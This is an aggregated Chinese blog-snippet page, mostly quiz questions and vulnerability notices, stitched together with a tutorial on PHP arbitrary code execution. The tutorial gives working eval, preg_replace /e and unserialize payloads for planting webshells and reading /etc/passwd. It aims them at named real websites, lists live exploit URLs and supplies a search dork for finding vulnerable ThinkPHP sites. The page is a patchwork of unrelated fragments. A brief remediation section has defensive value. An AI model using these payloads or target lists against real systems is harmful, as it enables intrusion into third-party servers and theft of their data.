精华内容
下载资源
问答
  • 下列代码编译和执行后结果是 public class Test { public void myMethod(Object o) { System.out.println("My Object"); } public void myMethod(String s) { System.out.println("My String"); ...

     下列代码编译和执行后的结果是

    public class Test {
    
       public void myMethod(Object o) {
    
           System.out.println("My Object");
    
       }
    
       public void myMethod(String s) {
    
           System.out.println("My String");
    
       }
    
       public static void main(String args[]) {
    
           Test t = new Test();
    
           t.myMethod(null);
    
       }
    
    }

    A. 代码不打印任何东西

    B. 代码打印出"My String"

    C. 代码打印出"My Object"

    D. 代码抛出一个Runtime的异常

    运行结果:My String

    展开全文
  • 2.以下代码执行后输出结果为( )

    千次阅读 2019-05-13 21:10:24
    以下代码执行后输出结果为( ) public class Test { public static void main(String[] args) { System.out.println("return value of getValue(): " + getValue()); } public static int getValu...

    以下代码执行后输出结果为( )

    public class Test {
        public static void main(String[] args) {
            System.out.println("return value of getValue(): " +
            getValue());
        }
         public static int getValue() {
             try {
                 return 0;
             } finally {
                 return 1;
             }
         }
     }
    A.return value of getValue(): 1
    B.return value of getValue(): 0
    C.return value of getValue(): 0return value of getValue(): 1
    D.return value of getValue(): 1return value of getValue(): 0

    本题选A。

    根据官方的JVM规范:
    如果try语句里有return,返回的是try语句块中变量值。
    详细执行过程如下:

    1. 如果有返回值,就把返回值保存到局部变量中;
    2. 执行jsr指令跳到finally语句里执行;
    3. 执行完finally语句后,返回之前保存在局部变量表里的值。

    如果try,finally语句里均有return,忽略try的return,而使用finally的return.

     

    展开全文
  • 以下代码执行后输出结果为() public class Test { public static Test t1=new Test(); { System.out.println("blockA"); } static { System.out.println("blockB"); } public static void main(String...

     题目:

    以下代码执行后输出结果为()

    public class Test {
    	public static Test t1=new Test();
    	{
    		System.out.println("blockA");
    	}
    	static
    	{
    		System.out.println("blockB");
    	}
    	public static void main(String[] args) 
    	{
    		Test t2=new Test();		
    	}
    }
    答案:

    blockA
    blockB
    blockA


    理解如下:
     在调用main方法前先装载Test类,装载Test.class,装载时按顺序做静态成员初始化,即先实例化t1,执行构造代码块,打印blockA,在执行静态代码块,打印blockB,后面实例化t2,执行构造代码块,打印blockA                                         


    开始试图执行类Test的main方法,发现该类并没有被装载,也就是说虚拟机当前不包含该类的二进制代表,于是虚拟机使用ClassLoader试图寻找这样的二进制代表。如果这个进程失败,则抛出一个异常。类被装载后同时在main方法被调用之前,必须对类Test与其它类型进行链接然后初始化。链接包含三个阶段:检验,准备和解析。检验检查被装载的主类的符号和语义,准备则创建类或接口的静态域以及把这些域初始化为标准的默认值,解析负责检查主类对其它类或接口的符号引用,在这一步它是可选的。类的初始化是对类中声明的静态初始化函数和静态域的初始化构造方法的执行。一个类在初始化之前它的父类必须被初始化。

    分析源码结构{}将多行代码封装在一起,形成代码块。





    展开全文
  • 任意代码执行

    千次阅读 2016-07-26 15:04:24
    任意代码执行

    任意代码执行

    0x01 成因

    几种常用语言,都有将字符串转化成代码去执行的相关函数

    • php
       eval assert
    • asp
    <%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
    • python
    exec
    • java
    Java中没有类似php中eval函数直
    接可以将字符串转化为代码执行
    的函数,但是有反射机制,如反
    射机制的表达式引擎:OGNL SpEL MVEL 

    0x02 php中能造成代码注入的主要函数

    执行代码的函数

    • eval()
    • assert()
      callback回调函数

    • preg_replace()+/e模式
      preg_replace函数原型:

      mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

      /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

      在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
      注意:双引号中的函数不会被执行和替换。 

      反序列化函数

    • unserialize()

      eval()
      执行php代码

    demo 1

    <?php
    $data=$_GET['data'];
    eval("\$ret=$data;");
    echo $ret;

    phpinfo()

    http://192.168.188.66/code_inject/1/?data=phpinfo()
    http://192.168.188.66/code_inject/1/?data=1;phpinfo();

    http://192.168.188.66/code_inject/1/?data=${phpinfo()}

    getshell

    http://192.168.188.66/code_inject/1/?data=1;@eval($_POST[a]); 
    

    http://172.16.77.145/code_inject/1.php?data=${eval($_POST[T])}

    完整语句构造:

    eval("
    $data=1;
    @eval($_POST[a]);
    ")

    demo 2

    <?php
    $data=$_GET['data'];
    echo "\$ret='$data';";
    eval("\$ret=strtolower('$data');");
    echo $ret;

    phpinfo()

    /?data=123');phpinfo();//

    完整语句构造:

    $ret=strtolower('123');
    闭合单引号
    $ret=strtolower('');
    phpinfo();//123');
    
    

    getshell

    /?data=123');eval($_POST[k]);//

    demo 3

    <?php
    $data = $_GET['data'];
    eval("\$ret = strtolower(\"$data\");"); 
    echo $ret;

    phpinfo()

    /?data={${phpinfo()}}
    或
    /?data=");phpinfo();//

    完整语句构造:

    eval("
    $ret=strtolower("");
    phpinfo();
    //");
    ")
    或
    eval("
    $ret=strtolower("{${phpinfo()}}");

    getshell

    /?data={${eval($_POST[k])}}

    demo 4

    <?php
    $data = $_GET['data'];
    echo $data;
    preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";', $data);
    echo $ret;

    phpinfo()

    http://192.168.188.66/code_inject/4/?data=<data>{${phpinfo()}}</data>

    完整语句构造:

    $ret="{${phpinfo()}}"

    getshell

    ?data="{${eval($_POST[k])}}"

    php反序列化
    序列化是对象持久化的一项技术,保存了对象之前的状态和数据,为了方便网络传输。
    在php中,可以对数组,变量,对象等进行序列化(静态变量,常量不会被序列化)

    <?php
        class TestSerialize{
            private $name;
            private $password;
            const ID = 1234;
            public static $_class_name = __CLASS__;
    
            public function __set($varname,$value){
    
                $this->$varname = $value;
            }
    
            public function __get($varname)
            {
                return $this->$varname;
            }
        }
    
        $data = array(
                'name'=>'zhangsan',
                'password'=>'pwd123'
            );
    
    
        $test = 'abcd';
        $ts = new TestSerialize();
        $ts->name = 'zhangsan_2';
        $ts->password = 'pwd123_2';
        echo  'var=>'.serialize($test).'<br/>';
        echo  'array=>'.serialize($data).'<br/>';
        echo  'object=>'.serialize($ts).'<br/>';
    
    ?>

    输出结果

    var=>s:4:"abcd";
    array=>a:2:{s:4:"name";s:8:"zhangsan";s:8:"password";s:6:"pwd123";}
    object=>O:13:"TestSerialize":2:{s:19:"TestSerializename";s:10:"zhangsan_2";s:23:"TestSerializepassword";s:8:"pwd123_2";}

    如果我们知道代码类的定义,就可以构造代码执行
    demo

    服务端代码

    <?php class foo {
    public $file = "test.txt"; public $data = "123456";
    function __destruct() { file_put_contents($this->file, $this->data);
    } }
    $d = $_REQUEST['str'];
    var_dump($d);
    echo "<br>";
    $tc = unserialize( base64_decode( $d ) ); //$tc = unserialize($_POST["str"]); var_dump($tc);

    我们构造序列化

    <?php class foo {
    public $file = "test.txt"; public $data = "123456";
    function __destruct() { file_put_contents($this->file, $this->data);
    } }
    $f = new foo();
    $f->file = "1.php";
    $f->data = "<? phpinfo(); ?>";
    echo base64_encode(serialize($f));

    生成

    TzozOiJmb28iOjI6e3M6NDoiZmlsZSI7czo1OiIxLnBocCI7czo0OiJkYXRhIjtzOjE2OiI8PyBwaHBpbmZvKCk7ID8+Ijt9

    将生成的值提交给服务端就产生了漏洞

    0x03 危害

    • 一句话木马
    http://www.shichidachina.com/News/detail/item/{${@eval($_POST[1999])}}
    • 获取当前工作路径
    http://www.shichidachina.com/News/detail/item/{${print(getcwd())}}
    • 读文件
    http://www.shichidachina.com/News/detail/item/{$ {exit(var_dump(file_get_contents($_POST[f])))}}
    f=/etc/passwd
    • 写webshell
    http://www.shichidachina.com/News/detail/item/{$
    {exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}} f=h4lp.php&d=22222

    0x04 寻找漏洞

    thinkphp 框架 可能存在 代码执行漏洞的
    搜索方式 intext:thinkphp intext:”Fast & Simple OOP PHP Framework” intext:”2.1”

    http://www.sinosteelchem.com/product_detail_en/id/$%7B%20phpinfo()%20%7D
    http://www.sjzy.org/index/rzkc_view/fid/70/eid/$%7B%20phpinfo()%7D
    http://www.shichidachina.com/News/detail/item/$%7B@%20phpinfo()%20%7D

    0x05 修补

    eval()

    • 能使用json保存数组、对象就使用json格式,不要将php对象保存成字符串,否则读取的时候需要使用eval
    • 对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或用正则判断输入的数据格式)
    • 对于字符串,一定要使用单引号包裹可控代码,并在插入前进行addslashes
    $data = addslashes($data); 
    eval("\$data = deal('$data');");

    preg_replace()

    • 放弃使用preg_replace的e修饰符
    • 使用preg_replace_callback()替换
    • 如果非要使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹
    展开全文
  • 6.for i in range(2,n):if n%i==0:breakif i==n-1:print('是素数')...8.对于有else子句的for循环和while循环,但循环因循环条件不成立而自然结束时__会__(会或不会)执行else中的代码。10.已知x='hello world.',那...
  • 任意代码执行漏洞简介

    千次阅读 2018-06-24 08:30:51
    一、任意代码执行漏洞思维导图:代码执行漏洞的成因:应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。代码执行漏洞的常用函数...
  • Web Hacking 101 中文版 十五、代码执行

    万次阅读 2017-03-26 15:20:03
    十五、代码执行 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 描述远程代码执行是指注入由漏洞应用解释和执行的代码。这通常由用户提交输入,应用使用它而没有任何类型的处理或验证而导致。看一下...
  • 题目(阿里笔试题):下面代码在64位Linux系统编译执行,输出结果是__。#include <stdint.h> #include <stdio.h> void print_size(int32_t array[10]){ printf("%d\n", sizeof(array)); } int main () { int...
  • Tomcat Session 漏洞漏洞描述影响版本安全版本安全建议操作步骤下载你要升级的Tomcat 10.0.0-...攻击者可能可以构造恶意请求,造成反序列化代码执行漏洞。成功利用该漏洞需要同时满足下列四个条件: 攻击者能够控制服
  • 下面代码的输出结果是什么?

    千次阅读 2020-04-20 22:13:47
    Try…catch…finally与直接throw的区别:try catch是直接处理,处理完成之后程序继续往下执行,throw则是将异常抛给它的上一级处理,程序便不往下执行了。main方法,把抛出的RuntimeException抛给了调用者(JVM)。...
  • 把字符串当做javascript代码执行

    万次阅读 2018-04-12 00:21:32
    字符串还能当做javascript代码执行?你能想到哪些方法? 1、setInterval("要执行的字符串",500); window对象的方法既可以传字符串,也可以传函数。该函数第一个参数传字符串容易引起内存泄漏,尽量避免这样写...
  • 以下代码的输出结果是?

    千次阅读 2018-05-31 15:25:20
    不知道的话,看看我标出的执行顺序吧。 package com; class A{   //3  public A() {  a1();  }   public void a1() {  System.out.println("A-a1");  } }   public class B extends A{  int bb = 0;...
  • 练习2-7 编写一个函数setbits(x, p ,n, y),该函数返回对x执行下列操作结果值: 将x中从第p位开始的n个(二进制)位设置为y中最右边n位的值,x的其余各位保持不变。 参考代码如下: #include unsigned setbits...
  • 漏洞简介2019年4月10日,Apache Tomcat报告了一个漏洞,报告中称在windows上运行的Apache Tomcat存在远程代码执行漏洞,漏洞编号为CVE-2019-0232。在Windows平台,远程攻击者向CGI Servlet发送一个精心设计的请求,...
  • 【漏洞通告】微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)通告 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0)???? 今天 通告编号:NS-2020-0017 2020-03-11 TAG: SMBv3、远程代码执行、CVE-...
  • infer静态代码扫描不能执行问题定位

    千次阅读 2016-01-26 13:16:18
    什么是inferfacebook推出的静态代码检测工具,可以检测android和IOS应用的内存泄露和空指针问题。 官方文档 infer官方介绍 infer编译和安装方法 本文解决问题使用源码安装的整个过程没有报错,在执行的时候会出现这...
  • 分析并写出下列程序的运行结果

    千次阅读 2017-11-05 00:29:06
    这里写代码片 这里写代码片#include #include int main() { int i,j,k; char space=' ' ; for (i=1;i;i++) { for(j=1;j;j++) { printf ("%c",space ); }
  • timeit 模块提供了测量 Python 小段代码执行时间的方法。它既可以在命令行界面直接使用,也可以通过导入模块进行调用。该模块灵活地避开了测量执行时间所容易出现的错误。 以下例子是命令行界面的使用方法: $ ...
  • Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的远程代码执行漏洞(CVE-2018-2628),通过该漏...
  • 两个线程并发执行以下代码,假设a是全局变量,初始为1,那么以下输出______是可能的?
  • C++中间隔指定时间执行代码操作

    千次阅读 2018-08-06 22:41:29
    这里使用延迟时间,在需要间隔地方使用执行延时函数可以使系统暂停一段时间。主要介绍slee函数和usleep函数 1、windows系统下使用Sleep函数 头文件:#include &lt;windows.h&gt; 用法:void Sleep(DWORD...
  • S3C2440启动代码中应用程序执行环境的初始化一、基础知识 我们编写的源文件(.c 或.s)经过ARM 编译器的编译生成ELF 格式的目标文件(后缀名为.o),目标文件经过ARM 连接器连接以后生成ELF 格式的映像文件(后缀名...
  • 今天更新一个github上的go下载工具, git remote -v origin https://github.com/...... origin ...大量的文件更改记录 更新完毕,再执行git log -p master.. origin/master,没有任何输出,本地已经更远程同步了。
  • #开发的各种退出应用程序的代码。并详细介绍了各实现方法的不同点。 Application.Exit();//好像只在主线程可以起作用,而且当有线程,或是阻塞方法的情况下,很容易失灵 this.Close();//只是关闭当前窗体。 ...
  • 远程桌面中的漏洞可能允许远程执行代码 (2671387) 更新程序包 KB2621440 解决 CVE-2012-0002,更新程序包 KB2667402 解决 CVE-2012-0152。如果在受影响的 Microsoft Windows 版本上,CVE-2012-0152 的严重等级低于 ...
  • 统计Git仓库中总代码行数

    千次阅读 2019-07-18 17:36:08
    统计Git仓库中总代码行数 原文:... 在 Git Bash 中执行下列命令可以统计 Git 仓库中所有文本文件的内容总行数: 仅显示所有文本文件内容总行数 $ git ls-files | xargs cat | wc -l...
  • 文章简介:出现如下问题 "消息 6263,级别 16,状态 1,第 1 行禁止在 .NET Framework 中执行用户代码。启用 "clr enabled" 配置选项。 "解决方法:在查询分析其中执行如下代码 …… 内容加载中,请稍等...... 出现...
  • Jupyter Notebook设置自动补全代码

    千次阅读 2019-09-17 18:44:04
    1、直接使用anaconda中的cmd或者terminal等终端进入命令行。激活你想要配置代码补全的环境 2、安装nbextensions ...3、上面安装完成后执行下列代码 jupyter contrib nbextension install --user --skip-...
  • 《编译原理》画 DAG 图与求优化的 4 元式代码- 例题解析
  • 出现如下问题"消息 6263,级别 16,状态 1,第 1 行禁止在 .NET Framework 中执行用户代码。启用 "clr enabled" 配置选项。"解决方法:在查询分析其中执行如下代码:exec sp_configure show advanced options, 1;go...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 266,461
精华内容 106,584
关键字:

下列代码执行后的结果是